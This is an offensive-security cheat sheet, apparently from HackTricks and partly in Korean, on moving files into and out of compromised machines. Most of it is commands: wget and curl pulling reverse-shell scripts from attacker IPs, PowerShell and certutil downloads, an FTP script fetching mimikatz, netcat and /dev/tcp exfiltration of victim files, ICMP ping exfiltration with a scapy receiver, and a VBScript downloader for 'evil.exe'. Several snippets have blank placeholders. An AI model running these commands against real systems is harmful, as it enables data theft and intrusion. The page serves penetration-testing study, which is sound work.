# Exfiltration {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Commonly whitelisted domains to exfiltrate information Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused ## Copy\&Paste Base64 **λ¦¬λˆ…μŠ€** ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` **μœˆλ„μš°** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` ## HTTP **λ¦¬λˆ…μŠ€** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` **μœˆλ„μš°** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf #PS (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ### 파일 μ—…λ‘œλ“œ * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) * [**GET 및 POST(헀더 포함) 좜λ ₯ν•˜λŠ” SimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Python λͺ¨λ“ˆ [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver python3 -m uploadserver # With basic auth: # python3 -m uploadserver --basic-auth hello:world # Send a file curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` ### **HTTPS μ„œλ²„** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ # generate server.xml with the following command: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # run as follows: # python simple-https-server.py # then in your browser, visit: # https://localhost:443 ### PYTHON 2 import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() ### ### PYTHON3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever() ### ### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): print(request.get_json()) return "OK" if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` ## FTP ### FTP μ„œλ²„ (파이썬) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` ### FTP μ„œλ²„ (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` ### FTP μ„œλ²„ (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` ```bash #Run the following script to configure the FTP server #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pwd useradd fusr -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` ### **Windows** ν΄λΌμ΄μ–ΈνŠΈ ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt echo USER anonymous >> ftp.txt echo anonymous >> ftp.txt echo bin >> ftp.txt echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` ## SMB Kaliλ₯Ό μ„œλ²„λ‘œ μ‚¬μš© ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` λ˜λŠ” **samba**λ₯Ό μ‚¬μš©ν•˜μ—¬ smb 곡유λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart ``` μœˆλ„μš° ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ## SCP κ³΅κ²©μžλŠ” SSHdκ°€ μ‹€ν–‰ 쀑이어야 ν•©λ‹ˆλ‹€. ```bash scp @:/ ``` ## SSHFS ν”Όν•΄μžκ°€ SSHλ₯Ό 가지고 μžˆλ‹€λ©΄, κ³΅κ²©μžλŠ” ν”Όν•΄μžμ˜ 디렉토리λ₯Ό κ³΅κ²©μžμ—κ²Œ λ§ˆμš΄νŠΈν•  수 μžˆλ‹€. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp ### ν”Όν•΄μžλ‘œλΆ€ν„° 파일 λ‹€μš΄λ‘œλ“œ ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` ### ν”Όν•΄μžμ—κ²Œ 파일 μ—…λ‘œλ“œ ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` thanks to **@BinaryShadow\_** ## **ICMP** ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done #This will 4bytes per ping packet (you could probably increase this until 16) ``` ```python from scapy.all import * #This is ippsec receiver created in the HTB machine Mischief def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] #Read the 4bytes interesting print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** SMTP μ„œλ²„μ— 데이터λ₯Ό 보낼 수 μžˆλ‹€λ©΄, νŒŒμ΄μ¬μ„ μ‚¬μš©ν•˜μ—¬ 데이터λ₯Ό μˆ˜μ‹ ν•  SMTPλ₯Ό 생성할 수 μžˆμŠ΅λ‹ˆλ‹€: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP 기본적으둜 XP와 2003μ—μ„œλŠ” (λ‹€λ₯Έ λ²„μ „μ—μ„œλŠ” μ„€μΉ˜ 쀑에 λͺ…μ‹œμ μœΌλ‘œ μΆ”κ°€ν•΄μ•Ό 함) Kaliμ—μ„œ, **TFTP μ„œλ²„ μ‹œμž‘**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` **파이썬의 TFTP μ„œλ²„:** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` **ν¬μƒμž**μ—μ„œ Kali μ„œλ²„μ— μ—°κ²°ν•©λ‹ˆλ‹€: ```bash tftp -i get nc.exe ``` ## PHP PHP μ›λΌμ΄λ„ˆλ‘œ 파일 λ‹€μš΄λ‘œλ“œ: ```bash echo "" > down2.php ``` ## VBScript ```bash Attacker> python -m SimpleHTTPServer 80 ``` **ν¬μƒμž** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe `debug.exe` ν”„λ‘œκ·Έλž¨μ€ 이진 νŒŒμΌμ„ 검사할 수 μžˆμ„ 뿐만 μ•„λ‹ˆλΌ **16μ§„μˆ˜μ—μ„œ 이진 νŒŒμΌμ„ μž¬κ΅¬μ„±ν•  수 μžˆλŠ” κΈ°λŠ₯**도 가지고 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” 이진 파일의 16μ§„μˆ˜λ₯Ό μ œκ³΅ν•¨μœΌλ‘œμ¨ `debug.exe`κ°€ 이진 νŒŒμΌμ„ 생성할 수 μžˆμŒμ„ μ˜λ―Έν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ `debug.exe`λŠ” **μ΅œλŒ€ 64kb 크기의 νŒŒμΌμ„ μ‘°λ¦½ν•˜λŠ” 데 μ œν•œμ΄ μžˆλ‹€λŠ” 점**에 μœ μ˜ν•΄μ•Ό ν•©λ‹ˆλ‹€. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` 그런 λ‹€μŒ ν…μŠ€νŠΈλ₯Ό μœˆλ„μš° 셸에 λ³΅μ‚¬ν•˜μ—¬ λΆ™μ—¬λ„£μœΌλ©΄ nc.exeλΌλŠ” 파일이 μƒμ„±λ©λ‹ˆλ‹€. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŠΈλ¦­μ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}